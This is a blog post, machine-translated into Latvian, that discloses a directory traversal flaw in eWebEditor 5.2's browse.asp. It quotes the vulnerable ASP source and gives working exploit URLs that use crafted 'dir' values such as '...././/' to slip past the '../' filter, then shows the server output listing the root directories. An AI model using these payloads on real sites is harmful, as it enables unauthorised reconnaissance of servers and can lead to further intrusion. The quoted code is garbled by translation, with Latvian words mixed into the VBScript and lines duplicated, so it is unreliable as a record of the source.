ewebeditor 5.2 sērija katalogs ievainojamību
: St0p
Pała ar redaktoru pirms savas racionalizēs ewebeditor 5,2 asp versijas strādāt noguris, atpūsties, redaktors nedomāja tiešām es atradu nelielu nepilnību, kaut arī loma nav tomēr var izmantot, lai palīdzētu vai diezgan labi.
Failu nepilnības pastāv šajā ewebeditor / ASP / browse.asp
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 | Darboties ar GetList () Dim s_List, s_Url s_List = "" Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName "Response.Write sCurrDir "On Error Resume Next, lai Server . CreateObject ( "Scripting.FileSystemObject" ) Komplekts oFSO = Serveris CreateObject ("Scripting.FileSystemObject"). oFSO. GetFolder ( Server . MapPath ( sCurrDir ) ) Noteikt oUploadFolder = oFSO. GetFolder panta Server. MapPath (sCurrDir)) "Uzmanību sCurrDir mainīgos, mēs varam izmantot šo vērtību > 0 Then Ja Err skaits> 0 Tad s_List = "" Iziet funkcija Beigas Ja "" Then Ja sDir <> "" Tad sDir, "/" ) > 1 Then Ja InstrRev (sDir, "/")> 1 Tad sDir, InstrRev ( sDir, "/" ) - 1 ) s_Url = Pa kreisi (sDir, InstrRev (sDir, "/") - 1) Cits s_Url = "" Beigas Ja "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' isdir='true' path='" & s_Url & "'>" & _ s_List = s_List & "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' isdir='true' path='" & s_Url & "'>" & _ _ <td> <img Border=0 src='../sysimage/file/parentfolder.gif'> </ td> "& _ _ <td> .. </ td> "& _ _ "<td> </ Td>" & _ "</ Tr> Beigas Ja "Response.Write sDir &"! "& S_List Dim oSubFolder oUploadFolder. SubFolders Katram oSubFolder In oUploadFolder. Apakšmapes Beigsit Response.Write oUploadFolder.SubFolders "" Then Ja sDir = "" Tad s_Url = oSubFolder. Vārds Cits "/" & oSubFolder. Name s_Url = sDir & "/" & oSubFolder. Vārds Beigas Ja "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' isdir='true' path='" & s_Url & "'>" & _ s_List = s_List & "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' isdir='true' path='" & s_Url & "'>" & _ _ <td> <img Border=0 src='../sysimage/file/closedfolder.gif'> </ td> "& _ oSubFolder. Name & "</td>" & _ "<td NoWrap>" & oSubFolder Vārds &. "</ Td>" & _ _ "<td> </ Td>" & _ "</ Tr> Nākamais "Response.Write s_List oUploadFolder. Files Komplekts oUploadFiles = oUploadFolder. Faili oUploadFiles Katram oUploadFile In oUploadFiles "Response.Write oUploadFile.Name sFileName = oUploadFile. Vārds sFileName ) = True Then Ja CheckValidExt (sFileName) = True Tad "Šī pozīcija bija nedaudz nomākts, testējot visu atļauto faila paplašinājums, piemēram, nav atļauta, nevar tikt uzskaitītas vai nav uzskaitītas tikai direktoriju nosaukums un attēlu faili "" Then Ja sDir = "" Tad sFileName s_Url = sContentPath & sFileName Cits sDir & "/" & sFileName s_Url = sContentPath & sDir & "/" & sFileName Beigas Ja "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' url='" & s_Url & "'>" & _ s_List = s_List & "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' url='" & s_Url & "'>" & _ FileName2Pic ( sFileName ) & "</td>" & _ "<td>" & FileName2Pic (sFileName) & "</ td>" & _ sFileName & "</td>" & _ "<td NoWrap>" & sFileName & "</ td>" & _ GetSizeUnit ( oUploadFile. size ) & "</td>" & _ "<td Align=right>" & GetSizeUnit (oUploadFile. izmērs) un "</ td>" & _ "</ Tr> Beigas Ja Nākamais Nothing Noteikt oUploadFolder = nekas Nothing Noteikti oUploadFiles = Nekas "Response.Write Server.HTMLEncode (s_List) &"! "& S_Url "" Then Ja sDir = "" Tad s_Url = "" 'S_Url = "/" Cits & sDir & "" s_Url = "/" & sDir & "" 'S_Url = "/" & sDir & "/" Beigas Ja "</table>" s_List = s_List & "</ table>" s_List ) s_List = HTML2JS (s_List) "Response.Write Server.HTMLEncode (s_List) &"! "& S_Url & s_List & "" ", " "" & s_Url & "" ")" s_List = "parent.setDirList (" "" & s_List & "" "," "" & s_Url & "" ")" GetList = s_List End Function "Ja jums nav solis atklāšanu, jābūt iespējai uzskaitīt visus failus direktorijā, un nedaudz nomākts .. tagad tikai uzskaitīti nosaukumi failiem un direktorijām, lai sufiksu s_FileName ) Funkcija CheckValidExt (s_FileName) "" Then Ja sAllowExt = "" Tad CheckValidExt = True Iziet funkcija Beigas Ja Dim Es, aExt, sExt ( Mid ( s_FileName, InStrRev ( s_FileName, "." ) + 1 ) ) sExt = LCase (Mid (s_FileName, InStrRev (s_FileName, ".") + 1)) CheckValidExt = False LCase ( sAllowExt ) , "|" ) aExt = Split (LCase (sAllowExt), "|") 0 To UBound ( aExt ) Kur i = 0 Lai UBound (aExt) i ) = sExt Then Ja aExt (i) = sExt tam CheckValidExt = True Iziet funkcija Beigas Ja Nākamais End Function "Mēs atrast noteikts kods, konstatēja sCurrDir vērtība ir vērts šādu Sub InitParam () ( Trim ( Request . QueryString ( "type" ) ) ) sType = UCase (Trim (pieprasījums. QueryString ("tips"))) ( Request . QueryString ( "style" ) ) sStyleName = Trim (Request. QueryString ("stils")) Dim Es, aStyleConfig, bValidStyle bValidStyle = False 1 To Ubound ( aStyle ) Kur i = 1 Lai UBound (aStyle) aStyle ( i ) , "|||" ) aStyleConfig = Split (aStyle (i) "| | |") ( sStyleName ) = Lcase ( aStyleConfig ( 0 ) ) Then Ja Lcase (sStyleName) = Lcase (aStyleConfig (0)) Pēc tam bValidStyle = True Iziet uz Beigas Ja Nākamais False Then Ja bValidStyle = False Tad ) OutScript ("alert (" Nederīga stils. ")") Beigas Ja 19 ) sBaseUrl = aStyleConfig (19) "NAllowBrowse = CLng (aStyleConfig (43)) nAllowBrowse = 1 1 Then Ja nAllowBrowse <> 1 Tad ) OutScript ("alert ('Neatļaut pārlūkot!')") Beigas Ja 3 ) sUploadDir = aStyleConfig (3) sUploadDir, 1 ) <> "/" Then Ja kreiso (sUploadDir, 1) <> "/" Tad Izvēlieties lietā sType Gadījums "tālvadības" & sUploadDir & "Image/" sUploadDir = ".. / .. /" & sUploadDir & "Image /" Gadījums "FILE" & sUploadDir & "Other/" sUploadDir = ".. / .. /" & sUploadDir & "Citi /" Gadījums "MEDIA" & sUploadDir & "Media/" sUploadDir = ".. / .. /" & sUploadDir & "Mediji /" Gadījums "FLASH" & sUploadDir & "Flash/" sUploadDir = ".. / .. /" & sUploadDir & "Flash /" Lieta Else & sUploadDir & "Image/" sUploadDir = ".. / .. /" & sUploadDir & "Image /" Beigt Izvēlieties Beigas Ja "SUploadDir = sUploadDir &" / " Izvēlieties lietā sBaseUrl Gadījums "0" "SContentPath = aStyleConfig (23) Izvēlieties lietā sType Gadījums "tālvadības" & aStyleConfig ( 3 ) & "Image/" sContentPath = ".. /" & aStyleConfig (3) un "Image /" Gadījums "FILE" & aStyleConfig ( 3 ) & "Other/" sContentPath = ".. /" & aStyleConfig (3) un "Citi /" Gadījums "MEDIA" & aStyleConfig ( 3 ) & "Media/" sContentPath = ".. /" & aStyleConfig (3) un "Media /" Gadījums "FLASH" & aStyleConfig ( 3 ) & "Flash/" sContentPath = ".. /" & aStyleConfig (3) un "Flash /" Lieta Else & aStyleConfig ( 3 ) & "Image/" sContentPath = ".. /" & aStyleConfig (3) un "Image /" Beigt Izvēlieties Gadījums "1" sUploadDir ) sContentPath = RelativePath2RootPath (sUploadDir) Lieta "2" RelativePath2RootPath ( sUploadDir ) ) sContentPath = RootPath2DomainPath (RelativePath2RootPath (sUploadDir)) Beigt Izvēlieties Izvēlieties lietā sType Gadījums "tālvadības" 10 ) sAllowExt = aStyleConfig (10) Gadījums "FILE" 6 ) sAllowExt = aStyleConfig (6) Gadījums "MEDIA" 9 ) sAllowExt = aStyleConfig (9) Gadījums "FLASH" 7 ) sAllowExt = aStyleConfig (7) Lieta Else 8 ) sAllowExt = aStyleConfig (8) Beigt Izvēlieties sCurrDir = sUploadDir 'Piezīme ka tas ir konfigurēts ceļu adreses norādīšana ( Request ( "dir" ) ) '得到dir变量 sDir = Trim (Pieprasījums ("dir")) "dir mainīgs ( sDir, "\" , "/" ) '对dir变量进行过滤 sDir no sDir = Aizvietot ("\", "/") "dir mainīgs filtrēt ( sDir, "../" , "" ) sDir = Aizvietot (sDir, ".. /", "") ( sDir, "./" , "" ) sDir = Aizvietot (sDir. "/", "") "" Then Ja sDir <> "" Tad Server . Mappath ( sUploadDir & sDir ) ) = True Then Ja CheckValidDir (Server. Mappath (sUploadDir & sDir)) = True Tad sDir & "/" sCurrDir = sUploadDir & sDir & "/" "Koncentrējieties uz šeit, sk nepastāvēja, kad sUploadDir & sDir, sCurrDir par sUploadDir & sDir vērtības "Lai gan uz sejas sDir filtrēšanas, taču mēs varam izlaist īpašo izmantojumu st0p tiks sniegta, izmantojot šādu Cits sDir = "" Beigas Ja Beigas Ja End Sub |
Hei, redzu jums vajadzētu saprast, ka, faktiski, filtrēšana ir dir, mēs varam izveidot īpašu vērtību, lai izlaistu pārbaudi, lai jūs varētu saņemt direktoriju struktūru un parādītu failu ar paplašinājumu failus atļautās uzstādījumus failu ..
Metožu izmantošana, ir šādi
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=..../.// ..
St0p tests augšupielādes katalogs ir saknes direktoriju uploadfile iepriekš adrešu jūs varat saņemt visus katalogi saknes direktorijā.
Hey, ja jūs atradīsiet atvērts displejs ir tukšs, nezaudē sirds, kas apskatīt avota kodu, jūs redzēt, kas būs jūsu saknes direktoriju direktorija nosaukumu.
Viņš root direktorijā pastāv viesis katalogs, mēs varam uzskaitīt šādu adresi viņa šādu struktūru
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=...././/...././/guest
Tad mēs varam arī
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=...././/../..../.// ..
Pāriet uz augstākiem slāņiem, mans testa virtuālā uzņēmējas, saņemt trīs direktoriju www, logfile un datebase.
<HTML> <HEAD> <meta Http-equiv='Content-Type' content='text/html; charset=utf-8'> <TITLE> eWebEditor </ TITLE> </ head> <body> <script language = javascript> parent.setDirList ("<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' isdir='true' path='../..'> <td > <img border=0 src='../sysimage/file/parentfolder.gif'> </ td> <td> .. </ td> <td> </ td> </ tr> <tr onclick = 'doRowClick (šis)' onMouseOver = 'doRowOver (šis)' onMouseOut = 'doRowOut (šis)' isdir = 'patiesība' ceļš = '.. / .. / .. / žurnālfailus'> <td> <img border = 0 src = ".. / sysimage / failu / closedfolder.gif"> </ td> <td noWrap> žurnālfailus </ td> <td> </ td> </ tr> <tr onclick = 'doRowClick (šis ) 'onMouseOver =' doRowOver (šis) 'onMouseOut =' doRowOut (šis) 'isdir =' patiesība 'ceļš =' .. / .. / .. / www '> <td> <img border = 0 src = ". . / sysimage / failu / closedfolder.gif "> </ td> <td noWrap> www </ td> <td> </ td> </ tr> </ table>", "/ .. / .. / .. ") </ script> </ body> </ html> |
Šī ievainojamība var tikt uzskatīta, ja papildu izmantošana ielaušanās atklāšanas, jūs varat saņemt direktoriju struktūru, piemēram, pārmaiņu vadības katalogs, datu bāzes direktoriju, lai jūs varētu saņemt direktoriju nosaukumu, bet es nevaru uzskaitīt failus lieciet st0p nomākts. Es ....
Tas ir 2. oriģināls dokuments, ko izsniegusi st0p blogā, pēc vairāku, Ga, ir tagad arī uzskata blogs atvērts ..
Piezīme: šajā interneta vietnē direktorijā izmanto visās lēcienu es atradu reģistratūru tiks aizstāts










































258 Trackback (-i)
Jums ir jābūt pieteicies Lai ievietotu komentārus.